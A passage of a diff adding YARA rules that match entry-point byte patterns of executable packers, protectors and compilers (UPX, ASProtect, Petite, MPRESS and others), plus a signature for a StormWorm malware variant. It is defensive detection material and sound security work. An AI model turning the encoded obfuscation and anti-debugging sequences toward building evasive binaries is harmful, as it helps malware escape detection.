+		$2 = {83 3D ?? ?? ?? ?? ?? 75 05 E9 01 00 00 00 C3 E8 41 00 00 00 B8 ?? ?? ?? ?? 2B 05 ?? ?? ?? ?? A3 ?? ?? ?? ?? E8 5E 00 00 00 E8 E0 01 00 00 E8 EC 06 00 00 E8 F7 05 00 00 A1 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? 01 05 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? C3 C3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _NoobyProtect_SE_Public_V1210__Nooby__20090201_
+{
+	meta:
+		description = "NoobyProtect SE Public V1.2.1.0 -> Nooby * 20090201"
+	strings:
+		$0 = {E9 ?? 00 00 00 4E 6F 6F 62 79 50 72 6F 74 65 63 74 20 53 45 20 31 2E 32 2E 31 2E 30}
+	condition:
+		$0 at entrypoint
+}
+rule _Apex_30_alpha__500mhz_
+{
+	meta:
+		description = "Apex 3.0 alpha -> 500mhz"
+	strings:
+		$0 = {5F B9 14 00 00 00 51 BE 00 10 40 00 B9 00 ?? ?? 00 8A 07 30 06 46 E2 FB 47 59 E2 EA 68 ?? ?? ?? 00 C3}
+		$1 = {5F B9 14 00 00 00 51 BE 00 10 40 00 B9 00 ?? ?? 00 8A 07 30 06 46 E2 FB 47 59 E2 EA 68 ?? ?? ?? 00 C3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Sentinel_Keys_Shell_V1130Dongle_Driver_V740__SafeNet_Inc__20090524_
+{
+	meta:
+		description = "Sentinel Keys Shell V1.1.3.0(Dongle Driver V7.4.0) -> SafeNet Inc. * 20090524"
+	strings:
+		$0 = {55 8B EC 81 EC 0C 01 00 00 53 56 57 C7 85 04 FF FF FF 00 00 00 00 C7 45 FC 00 00 00 00 C7 45 EC 00 00 00 00 C7 45 F8 00 00 00 00 C7 85 08 FF FF FF 00 00 00 00 C7 45 E4 04 00 00 00 83 3D ?? ?? ?? ?? 00 74 05 E9 ?? ?? 00 00 A1 ?? ?? ?? ?? 83 C0 01}
+	condition:
+		$0 at entrypoint
+}
+rule _ASProtect_vxx_
+{
+	meta:
+		description = "ASProtect vx.x"
+	strings:
+		$0 = {90 60 90 E8 00 00 00 00 5D 81 ED D1 27 40 00 B9 15 00 00 00}
+		$1 = {60 ?? ?? ?? ?? ?? 90 5D ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 03 DD}
+		$2 = {90 60 ?? ?? ?? 00 00}
+		$3 = {60 9C E8 ?? ?? ?? ?? 8B DD 5D 81 ED ?? ?? ?? ?? 89 9D}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint or $3 at entrypoint
+}
+rule _PECompact_v140__v145_
+{
+	meta:
+		description = "PECompact v1.40 - v1.45"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F A0 40 ?? 87 DD 8B 85 A6 A0 40 ?? 01 85 03 A0 40 ?? 66 C7 85 ?? A0 40 ?? 90 90 01 85 9E A0 40 ?? BB 8A 11}
+		$1 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F A0 40 ?? 87 DD 8B 85 A6 A0 40 ?? 01 85 03 A0 40 ?? 66 C7 85 ?? A0 40 ?? 90 90 01 85 9E A0 40 ?? BB C3 11}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _tElock_V09910_Private__tE_
+{
+	meta:
+		description = "tElock V0.99-1.0 Private -> tE!"
+	strings:
+		$0 = {E9 ?? ?? FF FF 00 00 00 ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Petite_13__c1998_Ian_Luck_h_
+{
+	meta:
+		description = "Petite 1.3 -> (c)1998 Ian Luck (h)"
+	strings:
+		$0 = {68 ?? ?? ?? ?? 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 66 9C 60 50 68 00 00 ?? ?? 8B 3C 24 8B 30 66 81 C7 80 07 8D 74 06 08 89 38 8B 5E 10 50 56 6A 02 68 80 08 00 00 57 6A ?? 6A 06 56 6A 04 68 80 08 00 00 57 FF D3 83 EE 08 59 F3 A5 59 66 83 C7 68 81 C6 ?? ?? 00 00 F3 A5 FF D3 58 8D 90 B8 01 00 00 8B 0A 0F BA F1 1F 73 16 8B 04 24 FD 8B F0 8B F8 03 72 04 03 7A 08 F3 A5 83 C2 0C FC EB E2 83 C2 10 8B 5A F4 85 DB 74 D8 8B 04 24 8B 7A F8 03 F8 52 8D 34 01 EB 17 58 58 58 5A 74 C4 E9 1C FF FF FF 02 D2 75 07 8A 16 83 EE FF 12 D2 C3 81 FB 00 00 01 00 73 0E 68 60 C0 FF FF 68 60 FC FF FF B6 05 EB 22 81 FB 00 00 04 00 73 0E 68 80 81 FF FF 68 80 F9 FF FF B6 07 EB 0C 68 00 83 FF FF 68 00 FB FF FF B6 08 6A 00 32 D2 4B A4 33 C9 83 FB 00 7E A4 E8 AA FF FF FF 72 17 A4 30 5F FF 4B EB ED 41 E8 9B FF FF FF 13 C9 E8 94 FF FF FF 72 F2 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _HackStop_098_EXE_
+{
+	meta:
+		description = "HackStop 0.98 [EXE]"
+	strings:
+		$0 = {B4 30 CD 21 86 E0 3D 00 03 73 06 B0 FF B4 4C CD 21 50 B8 EB 04 58 EB FB 9A B8 00 33 CD 21 50 E8 E4 03 8D B2 00 B8 01 33 CD 21 50 B8 EB 06 58 EB FB 66 B1 12 E8 CF 03 8D EB 02 43 93 50 55 52 8C D2 FA 50 B8 EB 04 58 EB FB 9A 8C C8 8E D0 EB 02}
+	condition:
+		$0 at entrypoint
+}
+rule _PKLITE_v150_Device_driver_compression_
+{
+	meta:
+		description = "PKLITE v1.50 (Device driver compression)"
+	strings:
+		$0 = {B4 09 BA 14 01 CD 21 B8 00 4C CD 21 F8 9C 50 53 51 52 56 57 55 1E 06 BB}
+		$1 = {B4 09 BA 14 01 CD 21 B8 00 4C CD 21 F8 9C 50 53 51 52 56 57 55 1E 06 BB}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _HackStop_100_EXE_
+{
+	meta:
+		description = "HackStop 1.00 [EXE]"
+	strings:
+		$0 = {B4 30 CD 21 86 E0 3D 00 03 73 06 B0 FF B4 4C CD 21 50 B8 EB 04 58 EB FB 9A B8 00 33 CD 21 50 E8 1F 04 8D B2 00 B8 01 33 CD 21 50 B8 EB 06 58 EB FB 66 38 12 E8 0A 04 8D EB 02 CA 92 50 55 52 8C D2 FA 50 B8 EB 04 58 EB FB 9A 8C C8 8E D0 EB 02}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_REALBasic__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [REALBasic] --> Anorganix"
+	strings:
+		$0 = {55 89 E5 90 90 90 90 90 90 90 90 90 90 50 90 90 90 90 90 00 01}
+	condition:
+		$0 at entrypoint
+}
+rule _EXECryptor_239_minimum_protection_
+{
+	meta:
+		description = "EXECryptor 2.3.9 (minimum protection)"
+	strings:
+		$0 = {68 ?? ?? ?? ?? E9 ?? ?? ?? FF 50 C1 C8 18 89 05 ?? ?? ?? ?? C3 C1 C0 18 51 E9 ?? ?? ?? FF 84 C0 0F 84 6A F9 FF FF E9 ?? ?? ?? FF C3 E9 ?? ?? ?? FF E8 CF E9 FF FF B8 01 00 00 00 E9 ?? ?? ?? FF 2B D0 68 A0 36 80 D4 59 81 C9 64 98 FF 99 E9 ?? ?? ?? FF 84 C0 0F 84 8E EC FF FF E9 ?? ?? ?? FF C3 87 3C 24 5F 8B 00 03 45 FC 83 C0 18 E9 ?? ?? ?? FF 87 0C 24 59 B8 01 00 00 00 D3 E0 23 D0 E9 02 18 00 00 0F 8D DB 00 00 00 C1 E8 14 E9 CA 00 00 00 9D 87 0C 24 59 87 1C 24 68 AE 73 B9 96 E9 C5 10 00 00 0F 8A ?? ?? ?? ?? E9 ?? ?? ?? FF 81 FD F5 FF 8F 07 E9 4F 10 00 00 C3 E9 5E 12 00 00 87 3C 24 E9 ?? ?? ?? FF E8 ?? ?? ?? FF 83 3D ?? ?? ?? ?? 00 0F 85 ?? ?? ?? ?? 8D 55 EC B8 ?? ?? ?? ?? E9 ?? ?? ?? FF E8 A7 1A 00 00 E8 2A CB FF FF E9 ?? ?? ?? FF C3 E9 ?? ?? ?? FF 59 89 45 E0}
+		$1 = {68 ?? ?? ?? ?? E9 ?? ?? ?? FF 50 C1 C8 18 89 05 ?? ?? ?? ?? C3 C1 C0 18 51 E9 ?? ?? ?? FF 84 C0 0F 84 6A F9 FF FF E9 ?? ?? ?? FF C3 E9 ?? ?? ?? FF E8 CF E9 FF FF B8 01 00 00 00 E9 ?? ?? ?? FF 2B D0 68 A0 36 80 D4 59 81 C9 64 98 FF 99 E9 ?? ?? ?? FF 84 C0 0F 84 8E EC FF FF E9 ?? ?? ?? FF C3 87 3C 24 5F 8B 00 03 45 FC 83 C0 18 E9 ?? ?? ?? FF 87 0C 24 59 B8 01 00 00 00 D3 E0 23 D0 E9 02 18 00 00 0F 8D DB 00 00 00 C1 E8 14 E9 CA 00 00 00 9D 87 0C 24 59 87 1C 24 68 AE 73 B9 96 E9 C5 10 00 00 0F 8A ?? ?? ?? ?? E9 ?? ?? ?? FF 81 FD F5 FF 8F 07 E9 4F 10 00 00 C3 E9 5E 12 00 00 87 3C 24 E9 ?? ?? ?? FF E8 ?? ?? ?? FF 83 3D ?? ?? ?? ?? 00 0F 85 ?? ?? ?? ?? 8D 55 EC B8 ?? ?? ?? ?? E9 ?? ?? ?? FF E8 A7 1A 00 00 E8 2A CB FF FF E9 ?? ?? ?? FF C3 E9 ?? ?? ?? FF 59 89 45 E0}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _FSG_v110_Eng__dulekxt__Borland_Delphi_40__50_
+{
+	meta:
+		description = "FSG v1.10 (Eng) -> dulek/xt -> (Borland Delphi 4.0 - 5.0)"
+	strings:
+		$0 = {EB 02}
+	condition:
+		$0 at entrypoint
+}
+rule _UPX_070_EXE_
+{
+	meta:
+		description = "UPX 0.70 [EXE]"
+	strings:
+		$0 = {8C CB B9 00 00 BE 00 00 89 F7 1E A9 B5 80 8D 87 05 00 8E D8 05 00 00 8E C0 FD F3 A5 FC 2E 80 6C 13 10 73 E8 00 00 00 00 00 0E 0E 00 00 00 00 00 00 00 00 00 00 00 CB 55 50 58 21 08 00 02 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Hyper_Archive_
+{
+	meta:
+		description = "Hyper Archive"
+	strings:
+		$0 = {1A 53 54}
+		$1 = {1A 48 50}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _MinGW_v32x_Dll_mainCRTStartup_
+{
+	meta:
+		description = "MinGW v3.2.x (Dll_mainCRTStartup)"
+	strings:
+		$0 = {55 89 E5 83 EC 08 6A 00 6A 00 6A 00 6A 00 E8 0D 00 00 00 B8 00 00 00 00 C9 C3 90 90 90 90 90 90 FF 25 38 20 00 10 90 90 00 00 00 00 00 00 00 00 FF FF FF FF 00 00 00 00 FF FF FF FF 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Petite_13__c1998_Ian_Luck_
+{
+	meta:
+		description = "Petite 1.3 -> (c)1998 Ian Luck"
+	strings:
+		$0 = {9C 60 50 8D 88 00 ?? ?? ?? 8D 90 ?? ?? 00 00 8B DC 8B E1 68 00 00 ?? ?? 53 50 80 04 24 08 50 80 04 24 42 50 80 04 24 61 50 80 04 24 9D 50 80 04 24 BB 83 3A 00 0F 84 DA 14 00 00 8B 44 24 18 F6 42 03 80 74 19 FD 80 72 03 80 8B F0 8B F8 03}
+		$1 = {68 ?? ?? ?? ?? 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 66 9C 60 50 68 00 00 ?? ?? 8B 3C 24 8B 30 66 81 C7 80 07 8D 74 06 08 89 38 8B 5E 10 50 56 6A 02 68 80 08 00 00 57 6A ?? 6A 06 56 6A 04 68 80 08 00 00 57 FF D3 83 EE 08 59 F3 A5 59 66 83 C7 68 81 C6 ?? ?? 00 00 F3 A5 FF D3 58 8D 90 B8 01 00 00 8B 0A 0F BA F1 1F 73 16 8B 04 24 FD 8B F0 8B F8 03 72 04 03 7A 08 F3 A5 83 C2 0C FC EB E2 83 C2 10 8B 5A F4 85 DB 74 D8 8B 04 24 8B 7A F8 03 F8 52 8D 34 01 EB 17 58 58 58 5A 74 C4 E9 1C FF FF FF 02 D2 75 07 8A 16 83 EE FF 12 D2 C3 81 FB 00 00 01 00 73 0E 68 60 C0 FF FF 68 60 FC FF FF B6 05 EB 22 81 FB 00 00 04 00 73 0E 68 80 81 FF FF 68 80 F9 FF FF B6 07 EB 0C 68 00 83 FF FF 68 00 FB FF FF B6 08 6A 00 32 D2 4B A4 33 C9 83 FB 00 7E A4 E8 AA FF FF FF 72 17 A4 30 5F FF 4B EB ED 41 E8 9B FF FF FF 13 C9 E8 94 FF FF FF 72 F2 C3}
+		$2 = {9C 60 50 8D 88 00 ?? ?? ?? 8D 90 ?? ?? 00 00 8B DC 8B E1 68 00 00 ?? ?? 53 50 80 04 24 08 50 80 04 24 42 50 80 04 24 61 50 80 04 24 9D 50 80 04 24 BB 83 3A 00 0F 84 DA 14 00 00 8B 44 24 18 F6 42 03 80 74 19 FD 80 72 03 80 8B F0 8B F8 03}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _Code_Virtualizer_V1310__Oreans_Technologies_
+{
+	meta:
+		description = "Code Virtualizer V1.3.1.0 -> Oreans Technologies"
+	strings:
+		$0 = {60 9C FC E8 00 00 00 00 5F 81 EF ?? ?? ?? ?? 8B C7 81 C7 ?? ?? ?? ?? 3B 47 2C 75 02 EB 2E 89 47 2C B9 A7 00 00 00 EB 05 01 44 8F ?? 49 0B C9 75 F7 83 7F 40 00 74 15 8B 77 40 03 F0 EB 09 8B 1E 03 D8 01 03 83 C6 04 83 3E 00 75 F2 8B 74 24 24 8B DE 03 F0 B9}
+	condition:
+		$0 at entrypoint
+}
+rule _MSLRH_
+{
+	meta:
+		description = "[MSLRH"
+	strings:
+		$0 = {EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03}
+		$1 = {60 D1 CB 0F CA C1 CA E0 D1 CA 0F C8 EB 01 F1 0F C0 C9 D2 D1 0F C1 C0 D3 DA C0 D6 A8 EB 01 DE D0 EC 0F C1 CB D0 CF 0F C1 D1 D2 DB 0F C8 EB 01 BC C0 E9 C6 C1 D0 91 0F CB EB 01 73 0F CA 87 D9 87 D2 D0 CF 87 D9 0F C8 EB 01 C1 EB 01 A2 86 CA D0 E1 0F C0 CB 0F}
+		$2 = {E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01 81 83 C4 04 E8 0A 00 00 00 E8}
+		$3 = {60 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 E8 0A 00 00 00 E8 EB 0C 00 00 E8}
+		$4 = {60 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01 81 83 C4 04 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 3D FF 0F 00 00 EB 01 68 EB 02 CD 20 EB 01 E8 76 1B EB 01 68 EB 02 CD 20 EB 01 E8 CC 66 B8 FE 00 74 04 75 02 EB 02 EB 01 81 66 E7 64 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01 81}
+		$5 = {60 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01 81 83 C4 04 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 3D FF 0F 00 00 EB 01 68 EB 02 CD 20 EB 01 E8 76 1B EB 01 68 EB 02 CD 20 EB 01 E8 CC 66 B8 FE 00 74 04 75 02 EB 02 EB 01 81 66 E7 64 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08}
+		$6 = {EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01 81 83 C4 04 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 3D FF 0F 00 00 EB 01 68 EB 02 CD 20 EB 01 E8 76 1B EB 01 68 EB 02 CD 20 EB 01 E8 CC 66 B8 FE 00 74 04 75 02 EB 02 EB 01 81 66 E7 64 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01 81 83 C4 04 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 3D FF 0F 00 00 EB 01 68 EB 02 CD 20 EB 01 E8 76 1B EB 01 68 EB 02 CD 20 EB 01 E8 CC 66 B8 FE 00 74 04 75 02 EB 02 EB 01 81 66 E7 64 74 04 75 02 EB 02 EB 01 81 74 04 75 02 EB 02 EB 01 81 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01 81 83 C4 04 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 3D FF 0F 00 00 EB 01 68 EB 02 CD 20 EB 01 E8 76 1B EB 01 68 EB 02 CD 20 EB 01 E8 CC 66 B8 FE 00 74 04 75 02 EB 02 EB 01 81 66 E7 64 74 04 75 02 EB 02 EB 01 81 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01 81 83 C4 04 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 3D FF 0F 00 00 EB 01 68 EB 02 CD 20 EB 01 E8 76 1B EB 01 68 EB 02 CD 20 EB 01 E8 CC 66 B8 FE 00 74 04 75 02 EB 02 EB 01 81 66 E7 64 74 04 75 02 EB 02 EB 01 81 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01 81 83 C4 04 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08}
+		$7 = {EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01 81 83 C4 04 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 3D FF 0F 00 00 EB 01 68 EB 02 CD 20 EB 01 E8 76 1B EB 01 68 EB 02 CD 20 EB 01 E8 CC 66 B8 FE 00 74 04 75 02 EB 02 EB 01 81 66 E7 64 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01 81 83 C4 04 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 3D FF 0F 00 00 EB 01 68 EB 02 CD 20 EB 01}
+	condition:
+		$0 at entrypoint or $1 or $2 or $3 or $4 at entrypoint or $5 at entrypoint or $6 or $7 at entrypoint
+}
+rule _MPRESS_V085V092__MATCODE_Software____20080414_
+{
+	meta:
+		description = "MPRESS V0.85-V0.92 -> MATCODE Software   * 20080414"
+	strings:
+		$0 = {60 E8 00 00 00 00 58 05 48 01 00 00 8B 30 03 F0 2B C0 8B FE 66 AD C1 E0 0C 8B C8 50 AD 2B C8 03 F1 8B C8 57 49 8A 44 39 06 74 05 88 04 31 EB F4 88 04 31 2B C0 3B FE 73 28 AC 0A C0 74 23 8A C8 24 3F C1 E0 10 66 AD 80 E1 40 74 0F 8B D6 8B CF 03 F0 E8 5F 00 00 00 03 F8 EB D8 8B C8 F3 A4 EB D2 5E 5A 83 EA 05 2B C9 3B CA 73 25 8B D9 AC 41 24 FE 3C E8 75 F2 83 C1 04 AD 0B C0 78 06 3B C2 73 E6 EB 06 03 C3 78 E0 03 C2 2B C3 89 46 FC EB D7 E8 00 00 00 00 5F 81 C7 6A FF FF FF B0 E9 AA B8 44 01 00 00 AB E8 00 00 00 00 58 05 A3 00 00 00 E9 93 00 00 00 53 56 57 8B F9 8B F2 8B DA 03 D8 51 55 33 C0 8B EB 8B DE 2B D2 2B C9 EB 4F 3B DD 73 6C 2B C9 66 8B 03 8D 5B 02 8A CC 80 E4 0F 0B C0 75 02 B4 10 C0 E9 04 80 C1 03 80 F9 12 72 19 8A 0B 66 83 C1 12 43 66 81 F9 11 01 72 0B 66 8B 0B 81 C1 11 01 00 00 43 43 8B F7 2B F0 F3 A4 12 D2 74 0A 72 B9 8A 03 43 88 07 47 EB F2 3B DD 73 1D 0A 13 F9 74 03 43 EB E6 8B 43 01 89 07 8B 43 05 89 47 04 8D 5B 09 8D 7F 08 33 C0 EB DF 5D 8B C7 59 2B C1 5F 5E 5B C3 E9}
+	condition:
+		$0 at entrypoint
+}
+rule _SLVc0deProtector_v11__SLV_
+{
+	meta:
+		description = "SLVc0deProtector v1.1 -> SLV"
+	strings:
+		$0 = {E8 03 00 00 00 EB 01 ?? BB 55 00 00 00 E8 03 00 00 00 EB 01 ?? E8 8F 00 00 00 E8 03 00 00 00 EB 01 ?? E8 82 00 00 00 E8 03 00 00 00 EB 01 ?? E8 B8 00 00 00 E8 03 00 00 00 EB 01 ?? E8 AB 00 00 00 E8 03 00 00 00 EB 01 ?? 83 FB 55 E8 03 00 00 00 EB 01 ?? 75 2E E8 03 00 00 00 EB 01 ?? C3 60 E8 00 00 00 00 5D 81 ED 94 73 42 00 8B D5 81 C2 E3 73 42 00 52 E8 01 00 00 00 C3 C3 E8 03 00 00}
+		$1 = {E8 01 00 00 00 A0 5D EB 01 69 81 ED 5F 1A 40 00 8D 85 92 1A 40 00 F3 8D 95 83 1A 40 00 8B C0 8B D2 2B C2 83 E8 05 89 42 01 E8 FB FF FF FF 69 83 C4 08 E8 06 00 00 00 69 E8 F2 FF FF FF F3 B9 05 00 00 00 51 8D B5 BF 1A 40 00 8B FE B9 58 15 00 00 AC 32 C1 F6}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _GEM_Image_graphics_file_
+{
+	meta:
+		description = "GEM Image graphics file"
+	strings:
+		$0 = {00 01 00 08 00 04 00 02}
+	condition:
+		$0 at entrypoint
+}
+rule _PE_Crypt32_Console_v10_v101_v102_
+{
+	meta:
+		description = "PE Crypt32 (Console v1.0, v1.01, v1.02)"
+	strings:
+		$0 = {E8 00 00 00 00 5B 83 EB 05 EB 04 52 4E 44 21 85 C0 73 02 F7}
+		$1 = {E8 00 00 00 00 5B 83 EB 05 EB 04 52 4E 44 21 EB 02 CD 20 EB}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _UPX_V200V290__Markus_Oberhumer__Laszlo_Molnar__John_Reiser_
+{
+	meta:
+		description = "UPX V2.00-V2.90 -> Markus Oberhumer & Laszlo Molnar & John Reiser"
+	strings:
+		$0 = {FF D5 8D 87 ?? ?? ?? ?? 80 20 ?? 80 60 ?? ?? 58 50 54 50 53 57 FF D5 58 61 8D 44 24 ?? 6A 00 39 C4 75 FA 83 EC 80 E9}
+		$1 = {FF D5 8D 87 ?? ?? ?? ?? 80 20 ?? 80 60 ?? ?? 58 50 54 50 53 57 FF D5 58 61 8D 44 24 ?? 6A 00 39 C4 75 FA 83 EC 80 E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _TurboChainer_103_
+{
+	meta:
+		description = "TurboChainer 1.03"
+	strings:
+		$0 = {BA 24 00 8E DA 8C D3 2B DA D1 E3 D1 E3 D1 E3 D1 E3 FA 8E D2 03 E3 FB B8 24 00 8E D8 1E FC 8D 06 B0 00 83 C0 0C 50 1E BE 80 00 8C C0 8E D8 07 5F 8B 0C 32 ED 51 46 F3 A4 59 1F 00 0E AF 00 1E B4 51 32 C0 CD 21 8E DB BB 2C 00 8B 07 8E D8 33 DB}
+	condition:
+		$0 at entrypoint
+}
+rule _ASProtect_123_RC4__130824__Solodovnikov_Alexey_
+{
+	meta:
+		description = "ASProtect 1.23 RC4 - 1.3.08.24 -> Solodovnikov Alexey"
+	strings:
+		$0 = {68 01 ?? ?? 00 E8 01 00 00 00 C3 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _VX_TibsZhelatin_StormWorm_variant_
+{
+	meta:
+		description = "VX: Tibs/Zhelatin StormWorm variant"
+	strings:
+		$0 = {FF 74 24 1C 58 8D 80 ?? ?? 77 04 50 68 62 34 35 04 E8}
+		$1 = {FF 74 24 1C 58 8D 80 ?? ?? 77 04 50 68 62 34 35 04 E8}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _BJFnt_v13_
+{
